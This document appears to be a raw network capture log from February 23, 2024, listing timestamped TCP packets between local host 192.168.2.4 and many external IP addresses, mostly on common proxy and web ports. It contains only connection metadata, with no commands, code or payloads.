Feb 23, 2024 09:45:17.287410975 CET	50470	8888	192.168.2.4	103.179.182.159
Feb 23, 2024 09:45:17.287933111 CET	44712	50315	92.204.135.4	192.168.2.4
Feb 23, 2024 09:45:17.288846970 CET	2589	49896	72.10.160.90	192.168.2.4
Feb 23, 2024 09:45:17.289949894 CET	50578	80	192.168.2.4	172.67.53.215
Feb 23, 2024 09:45:17.290283918 CET	4145	50165	68.71.247.130	192.168.2.4
Feb 23, 2024 09:45:17.292169094 CET	80	50442	103.75.117.79	192.168.2.4
Feb 23, 2024 09:45:17.292889118 CET	50579	1994	192.168.2.4	45.173.12.141
Feb 23, 2024 09:45:17.295336962 CET	50580	80	192.168.2.4	20.78.102.191
Feb 23, 2024 09:45:17.297605038 CET	50581	80	192.168.2.4	196.1.95.124
Feb 23, 2024 09:45:17.298553944 CET	49397	50435	172.93.111.87	192.168.2.4
Feb 23, 2024 09:45:17.298808098 CET	50435	49397	192.168.2.4	172.93.111.87
Feb 23, 2024 09:45:17.299890041 CET	11176	50403	51.210.45.148	192.168.2.4
Feb 23, 2024 09:45:17.300029993 CET	50403	11176	192.168.2.4	51.210.45.148
Feb 23, 2024 09:45:17.300182104 CET	4145	50475	116.199.170.17	192.168.2.4
Feb 23, 2024 09:45:17.300313950 CET	3128	49815	13.234.24.116	192.168.2.4
Feb 23, 2024 09:45:17.300591946 CET	50403	11176	192.168.2.4	51.210.45.148
Feb 23, 2024 09:45:17.302362919 CET	8080	50519	65.21.188.18	192.168.2.4
Feb 23, 2024 09:45:17.302983046 CET	50476	1080	192.168.2.4	139.180.140.254
Feb 23, 2024 09:45:17.303014040 CET	50478	36076	192.168.2.4	109.123.254.43
Feb 23, 2024 09:45:17.303021908 CET	50246	5678	192.168.2.4	109.205.243.10
Feb 23, 2024 09:45:17.303029060 CET	80	50569	104.20.125.124	192.168.2.4
Feb 23, 2024 09:45:17.303102970 CET	50479	3128	192.168.2.4	20.118.133.34
Feb 23, 2024 09:45:17.303102970 CET	50153	8080	192.168.2.4	190.57.245.250
Feb 23, 2024 09:45:17.303102970 CET	50477	8080	192.168.2.4	122.52.196.36
Feb 23, 2024 09:45:17.303195000 CET	50482	8031	192.168.2.4	216.236.197.38
Feb 23, 2024 09:45:17.303195000 CET	50087	5089	192.168.2.4	67.43.236.18
Feb 23, 2024 09:45:17.303195953 CET	50569	80	192.168.2.4	104.20.125.124
Feb 23, 2024 09:45:17.303195953 CET	50480	8080	192.168.2.4	186.123.26.79
Feb 23, 2024 09:45:17.303504944 CET	26589	50549	157.185.161.100	192.168.2.4
Feb 23, 2024 09:45:17.303613901 CET	50549	26589	192.168.2.4	157.185.161.100
Feb 23, 2024 09:45:17.303832054 CET	50569	80	192.168.2.4	104.20.125.124
Feb 23, 2024 09:45:17.303847075 CET	10471	50543	167.172.86.46	192.168.2.4
Feb 23, 2024 09:45:17.304060936 CET	50543	10471	192.168.2.4	167.172.86.46
Feb 23, 2024 09:45:17.304378986 CET	50543	10471	192.168.2.4	167.172.86.46
Feb 23, 2024 09:45:17.305598021 CET	6095	49907	67.43.236.20	192.168.2.4
Feb 23, 2024 09:45:17.305691004 CET	9999	50300	171.35.172.147	192.168.2.4
Feb 23, 2024 09:45:17.308979988 CET	50582	26439	192.168.2.4	92.205.28.187
Feb 23, 2024 09:45:17.310353041 CET	20481	50545	5.196.111.30	192.168.2.4
Feb 23, 2024 09:45:17.311283112 CET	6984	50559	162.214.170.144	192.168.2.4
Feb 23, 2024 09:45:17.311407089 CET	50559	6984	192.168.2.4	162.214.170.144
Feb 23, 2024 09:45:17.311839104 CET	4145	50561	72.210.208.101	192.168.2.4
Feb 23, 2024 09:45:17.311929941 CET	50561	4145	192.168.2.4	72.210.208.101
Feb 23, 2024 09:45:17.311929941 CET	50559	6984	192.168.2.4	162.214.170.144
Feb 23, 2024 09:45:17.312338114 CET	50561	4145	192.168.2.4	72.210.208.101
Feb 23, 2024 09:45:17.315951109 CET	50583	34090	192.168.2.4	195.30.84.218
Feb 23, 2024 09:45:17.318641901 CET	50301	4145	192.168.2.4	104.200.135.46
Feb 23, 2024 09:45:17.318660021 CET	50305	4145	192.168.2.4	199.102.106.94
Feb 23, 2024 09:45:17.318660975 CET	50484	1080	192.168.2.4	213.5.197.61
Feb 23, 2024 09:45:17.318660975 CET	50487	4145	192.168.2.4	61.247.25.231
Feb 23, 2024 09:45:17.318664074 CET	50485	8085	192.168.2.4	103.153.63.211
Feb 23, 2024 09:45:17.318667889 CET	50486	60870	192.168.2.4	141.94.174.6
Feb 23, 2024 09:45:17.318677902 CET	50527	80	192.168.2.4	113.252.40.144
Feb 23, 2024 09:45:17.318681955 CET	50490	4153	192.168.2.4	45.233.2.1
Feb 23, 2024 09:45:17.318682909 CET	50210	80	192.168.2.4	50.231.104.58
Feb 23, 2024 09:45:17.318682909 CET	50489	12922	192.168.2.4	209.216.90.208
Feb 23, 2024 09:45:17.319744110 CET	26077	49918	72.10.160.92	192.168.2.4
Feb 23, 2024 09:45:17.320000887 CET	50584	35087	192.168.2.4	162.240.10.35
Feb 23, 2024 09:45:17.320301056 CET	4145	50562	142.54.236.97	192.168.2.4
Feb 23, 2024 09:45:17.322663069 CET	4145	50328	174.77.111.196	192.168.2.4
Feb 23, 2024 09:45:17.322720051 CET	4145	50328	174.77.111.196	192.168.2.4
Feb 23, 2024 09:45:17.322940111 CET	80	50113	50.204.219.224	192.168.2.4
Feb 23, 2024 09:45:17.324392080 CET	50585	4145	192.168.2.4	174.77.111.196
Feb 23, 2024 09:45:17.324755907 CET	80	50251	50.168.163.179	192.168.2.4
Feb 23, 2024 09:45:17.327334881 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.327351093 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.327389002 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.327403069 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.327431917 CET	50160	3128	192.168.2.4	185.165.46.208
Feb 23, 2024 09:45:17.327457905 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.327471972 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.327487946 CET	50160	3128	192.168.2.4	185.165.46.208
Feb 23, 2024 09:45:17.327528954 CET	50160	3128	192.168.2.4	185.165.46.208
Feb 23, 2024 09:45:17.327641010 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.327704906 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.327783108 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.327796936 CET	3128	50160	185.165.46.208	192.168.2.4
Feb 23, 2024 09:45:17.327809095 CET	50160	3128	192.168.2.4	185.165.46.208
Feb 23, 2024 09:45:17.327832937 CET	50160	3128	192.168.2.4	185.165.46.208
Feb 23, 2024 09:45:17.328339100 CET	80	50396	106.14.255.124	192.168.2.4
Feb 23, 2024 09:45:17.328694105 CET	80	50355	13.229.47.109	192.168.2.4
Feb 23, 2024 09:45:17.329816103 CET	8080	50112	186.192.195.211	192.168.2.4
Feb 23, 2024 09:45:17.333056927 CET	80	49814	50.172.23.10	192.168.2.4
Feb 23, 2024 09:45:17.333662033 CET	3820	50007	198.12.253.1	192.168.2.4
Feb 23, 2024 09:45:17.334232092 CET	50397	2955	192.168.2.4	72.10.160.172
Feb 23, 2024 09:45:17.334233999 CET	50528	80	192.168.2.4	13.81.217.201
Feb 23, 2024 09:45:17.334264994 CET	49993	5678	192.168.2.4	125.26.22.7
Feb 23, 2024 09:45:17.334930897 CET	35860	50411	212.3.112.128	192.168.2.4
Feb 23, 2024 09:45:17.335063934 CET	50411	35860	192.168.2.4	212.3.112.128
Feb 23, 2024 09:45:17.335464954 CET	50411	35860	192.168.2.4	212.3.112.128
Feb 23, 2024 09:45:17.336703062 CET	3128	50240	83.219.145.106	192.168.2.4
Feb 23, 2024 09:45:17.337604046 CET	4145	50515	74.119.147.209	192.168.2.4
Feb 23, 2024 09:45:17.337665081 CET	4145	50515	74.119.147.209	192.168.2.4
Feb 23, 2024 09:45:17.338663101 CET	20481	50545	5.196.111.30	192.168.2.4
Feb 23, 2024 09:45:17.338675022 CET	20481	50545	5.196.111.30	192.168.2.4
Feb 23, 2024 09:45:17.340480089 CET	10820	50025	88.255.217.44	192.168.2.4
Feb 23, 2024 09:45:17.341285944 CET	80	50143	43.231.22.229	192.168.2.4
Feb 23, 2024 09:45:17.341296911 CET	10820	50025	88.255.217.44	192.168.2.4
Feb 23, 2024 09:45:17.341500998 CET	50143	80	192.168.2.4	43.231.22.229
Feb 23, 2024 09:45:17.341567993 CET	50288	3128	192.168.2.4	85.214.244.174
Feb 23, 2024 09:45:17.341568947 CET	49864	4145	192.168.2.4	72.37.216.68
Feb 23, 2024 09:45:17.341639996 CET	49853	3128	192.168.2.4	46.101.102.134
Feb 23, 2024 09:45:17.345748901 CET	3128	50240	83.219.145.106	192.168.2.4
Feb 23, 2024 09:45:17.347230911 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.347244978 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.347258091 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.347273111 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.347337961 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.347337961 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.347364902 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.347404003 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.347421885 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.347450018 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.347457886 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.347556114 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.347575903 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.347589016 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.347613096 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.347625971 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.347631931 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.347712994 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.347759962 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.347774029 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.347795010 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.347809076 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.347821951 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.347897053 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.347903013 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.347912073 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.347966909 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.347966909 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.347981930 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.348016977 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.348031998 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.348042965 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.348043919 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.348058939 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.348083019 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.348086119 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.348113060 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.348134995 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.348149061 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.348160982 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.348175049 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.348201990 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.348226070 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.348239899 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.348253012 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.348264933 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.348292112 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.348366022 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.349133015 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.349145889 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.349164963 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.349191904 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.349210978 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.349307060 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.349354982 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.349368095 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.349428892 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.349442005 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.349466085 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.349569082 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.349590063 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.349594116 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.349608898 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.349633932 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.349692106 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.349705935 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.349720001 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.349733114 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.349744081 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.349747896 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.349761963 CET	8587	49821	178.62.103.49	192.168.2.4
Feb 23, 2024 09:45:17.349771976 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.349775076 CET	4145	50475	116.199.170.17	192.168.2.4
Feb 23, 2024 09:45:17.349796057 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.352855921 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.352869987 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.352906942 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.352921009 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.352936983 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.353027105 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.353040934 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.353044033 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.353101969 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.353105068 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.353142977 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.353158951 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.353172064 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.353204966 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.353212118 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.353236914 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.353236914 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.353260994 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.353285074 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.353338003 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.353360891 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.353405952 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.353414059 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.353468895 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.354124069 CET	26589	50549	157.185.161.100	192.168.2.4
Feb 23, 2024 09:45:17.354135990 CET	26589	50549	157.185.161.100	192.168.2.4
Feb 23, 2024 09:45:17.354347944 CET	4145	50566	24.249.199.4	192.168.2.4
Feb 23, 2024 09:45:17.354517937 CET	50566	4145	192.168.2.4	24.249.199.4
Feb 23, 2024 09:45:17.355493069 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.355510950 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.355524063 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.355539083 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.355591059 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.355591059 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.355732918 CET	45365	49891	142.93.151.99	192.168.2.4
Feb 23, 2024 09:45:17.355845928 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.355901957 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.355915070 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.355927944 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.355947971 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.355967999 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.355982065 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.355994940 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.355995893 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.356021881 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.356026888 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.356106043 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.356265068 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.356277943 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.356292963 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.356306076 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.356317997 CET	999	50250	190.61.48.24	192.168.2.4
Feb 23, 2024 09:45:17.356342077 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.356364965 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.356558084 CET	50566	4145	192.168.2.4	24.249.199.4
Feb 23, 2024 09:45:17.357004881 CET	4145	50548	116.199.170.17	192.168.2.4
Feb 23, 2024 09:45:17.357142925 CET	50548	4145	192.168.2.4	116.199.170.17
Feb 23, 2024 09:45:17.358227968 CET	8080	50519	65.21.188.18	192.168.2.4
Feb 23, 2024 09:45:17.358244896 CET	8080	50519	65.21.188.18	192.168.2.4
Feb 23, 2024 09:45:17.358354092 CET	50519	8080	192.168.2.4	65.21.188.18
Feb 23, 2024 09:45:17.358644962 CET	50586	26589	192.168.2.4	157.185.161.100
Feb 23, 2024 09:45:17.359021902 CET	50548	4145	192.168.2.4	116.199.170.17
Feb 23, 2024 09:45:17.359375954 CET	50519	8080	192.168.2.4	65.21.188.18
Feb 23, 2024 09:45:17.362685919 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.362685919 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.363611937 CET	3128	49986	78.38.93.22	192.168.2.4
Feb 23, 2024 09:45:17.363846064 CET	50587	1136	192.168.2.4	103.126.87.120
Feb 23, 2024 09:45:17.365533113 CET	49781	80	192.168.2.4	80.228.235.6
Feb 23, 2024 09:45:17.365616083 CET	50495	80	192.168.2.4	62.72.29.174
Feb 23, 2024 09:45:17.365616083 CET	50496	50578	192.168.2.4	192.169.226.96
Feb 23, 2024 09:45:17.365679979 CET	50499	10919	192.168.2.4	98.178.72.21
Feb 23, 2024 09:45:17.365978956 CET	80	49981	221.194.149.8	192.168.2.4
Feb 23, 2024 09:45:17.366358995 CET	80	49909	50.170.90.25	192.168.2.4
Feb 23, 2024 09:45:17.367903948 CET	5769	49944	67.43.227.228	192.168.2.4
Feb 23, 2024 09:45:17.368824005 CET	4145	50547	61.7.183.152	192.168.2.4
Feb 23, 2024 09:45:17.368895054 CET	50547	4145	192.168.2.4	61.7.183.152
Feb 23, 2024 09:45:17.369193077 CET	50547	4145	192.168.2.4	61.7.183.152
Feb 23, 2024 09:45:17.369503021 CET	50588	4153	192.168.2.4	183.88.247.52
Feb 23, 2024 09:45:17.372293949 CET	80	50577	104.16.207.86	192.168.2.4
Feb 23, 2024 09:45:17.372356892 CET	50577	80	192.168.2.4	104.16.207.86
Feb 23, 2024 09:45:17.372601986 CET	50577	80	192.168.2.4	104.16.207.86
Feb 23, 2024 09:45:17.373014927 CET	50589	8080	192.168.2.4	103.172.70.234
Feb 23, 2024 09:45:17.374136925 CET	6438	50401	141.94.174.6	192.168.2.4
Feb 23, 2024 09:45:17.374149084 CET	6438	50401	141.94.174.6	192.168.2.4
Feb 23, 2024 09:45:17.374238014 CET	50401	6438	192.168.2.4	141.94.174.6
Feb 23, 2024 09:45:17.374416113 CET	50401	6438	192.168.2.4	141.94.174.6
Feb 23, 2024 09:45:17.375344992 CET	80	49946	50.174.214.218	192.168.2.4
Feb 23, 2024 09:45:17.375813007 CET	51778	49933	192.169.226.96	192.168.2.4
Feb 23, 2024 09:45:17.375859976 CET	51778	49933	192.169.226.96	192.168.2.4
Feb 23, 2024 09:45:17.376327038 CET	49933	51778	192.168.2.4	192.169.226.96
Feb 23, 2024 09:45:17.376950026 CET	49933	51778	192.168.2.4	192.169.226.96
Feb 23, 2024 09:45:17.377607107 CET	80	50578	172.67.53.215	192.168.2.4
Feb 23, 2024 09:45:17.377759933 CET	50578	80	192.168.2.4	172.67.53.215
Feb 23, 2024 09:45:17.378391981 CET	9002	50077	120.234.203.171	192.168.2.4
Feb 23, 2024 09:45:17.378470898 CET	9002	50077	120.234.203.171	192.168.2.4
Feb 23, 2024 09:45:17.378560066 CET	9002	50077	120.234.203.171	192.168.2.4
Feb 23, 2024 09:45:17.378614902 CET	50077	9002	192.168.2.4	120.234.203.171
Feb 23, 2024 09:45:17.379374981 CET	50578	80	192.168.2.4	172.67.53.215
Feb 23, 2024 09:45:17.379569054 CET	50077	9002	192.168.2.4	120.234.203.171
Feb 23, 2024 09:45:17.381131887 CET	50359	80	192.168.2.4	50.172.39.98
Feb 23, 2024 09:45:17.381767035 CET	4145	50571	184.181.217.201	192.168.2.4
Feb 23, 2024 09:45:17.381871939 CET	50571	4145	192.168.2.4	184.181.217.201
Feb 23, 2024 09:45:17.387031078 CET	2011	50345	67.43.228.253	192.168.2.4
Feb 23, 2024 09:45:17.389550924 CET	8080	49895	171.97.12.175	192.168.2.4
Feb 23, 2024 09:45:17.391206026 CET	80	50569	104.20.125.124	192.168.2.4
Feb 23, 2024 09:45:17.391217947 CET	80	50569	104.20.125.124	192.168.2.4
Feb 23, 2024 09:45:17.391542912 CET	80	50569	104.20.125.124	192.168.2.4
Feb 23, 2024 09:45:17.391943932 CET	6005	50550	87.106.114.124	192.168.2.4
Feb 23, 2024 09:45:17.397414923 CET	50569	80	192.168.2.4	104.20.125.124
Feb 23, 2024 09:45:17.401345015 CET	6005	50550	87.106.114.124	192.168.2.4
Feb 23, 2024 09:45:17.401359081 CET	5678	50076	109.127.82.114	192.168.2.4
Feb 23, 2024 09:45:17.401403904 CET	5089	50087	67.43.236.18	192.168.2.4
Feb 23, 2024 09:45:17.401417017 CET	4145	50450	72.210.252.137	192.168.2.4
Feb 23, 2024 09:45:17.401433945 CET	80	50118	123.110.158.236	192.168.2.4
Feb 23, 2024 09:45:17.401462078 CET	50550	6005	192.168.2.4	87.106.114.124
Feb 23, 2024 09:45:17.401468992 CET	80	50118	123.110.158.236	192.168.2.4
Feb 23, 2024 09:45:17.401479959 CET	80	50118	123.110.158.236	192.168.2.4
Feb 23, 2024 09:45:17.401513100 CET	11673	49813	50.63.13.3	192.168.2.4
Feb 23, 2024 09:45:17.401518106 CET	50450	4145	192.168.2.4	72.210.252.137
Feb 23, 2024 09:45:17.401518106 CET	50506	23847	192.168.2.4	162.144.32.209
Feb 23, 2024 09:45:17.401526928 CET	11673	49813	50.63.13.3	192.168.2.4
Feb 23, 2024 09:45:17.401542902 CET	50507	59932	192.168.2.4	207.180.226.58
Feb 23, 2024 09:45:17.401542902 CET	50511	8080	192.168.2.4	71.14.23.121
Feb 23, 2024 09:45:17.401563883 CET	50363	80	192.168.2.4	35.185.254.159
Feb 23, 2024 09:45:17.401566029 CET	50509	1080	192.168.2.4	223.113.89.138
Feb 23, 2024 09:45:17.401571035 CET	50118	80	192.168.2.4	123.110.158.236
Feb 23, 2024 09:45:17.403405905 CET	49813	11673	192.168.2.4	50.63.13.3
Feb 23, 2024 09:45:17.410206079 CET	35010	50072	185.215.160.118	192.168.2.4
Feb 23, 2024 09:45:17.410509109 CET	35010	50072	185.215.160.118	192.168.2.4
Feb 23, 2024 09:45:17.412379980 CET	49870	3128	192.168.2.4	91.149.224.168
Feb 23, 2024 09:45:17.415997982 CET	50450	4145	192.168.2.4	72.210.252.137
Feb 23, 2024 09:45:17.416002989 CET	50118	80	192.168.2.4	123.110.158.236
Feb 23, 2024 09:45:17.419043064 CET	80	50375	117.160.250.134	192.168.2.4
Feb 23, 2024 09:45:17.419210911 CET	80	50375	117.160.250.134	192.168.2.4
Feb 23, 2024 09:45:17.419256926 CET	80	50375	117.160.250.134	192.168.2.4
Feb 23, 2024 09:45:17.419814110 CET	42325	49919	139.99.9.218	192.168.2.4
Feb 23, 2024 09:45:17.419842005 CET	50375	80	192.168.2.4	117.160.250.134
Feb 23, 2024 09:45:17.420026064 CET	4145	50574	98.170.57.231	192.168.2.4
Feb 23, 2024 09:45:17.422580957 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.422593117 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.422599077 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.422610044 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.422621012 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.422621965 CET	50574	4145	192.168.2.4	98.170.57.231
Feb 23, 2024 09:45:17.422632933 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.422657967 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.422698021 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.422720909 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.422723055 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.422733068 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.422745943 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.422765017 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.422787905 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.422800064 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.422816038 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.422822952 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.422835112 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.422849894 CET	49783	80	192.168.2.4	96.114.36.9
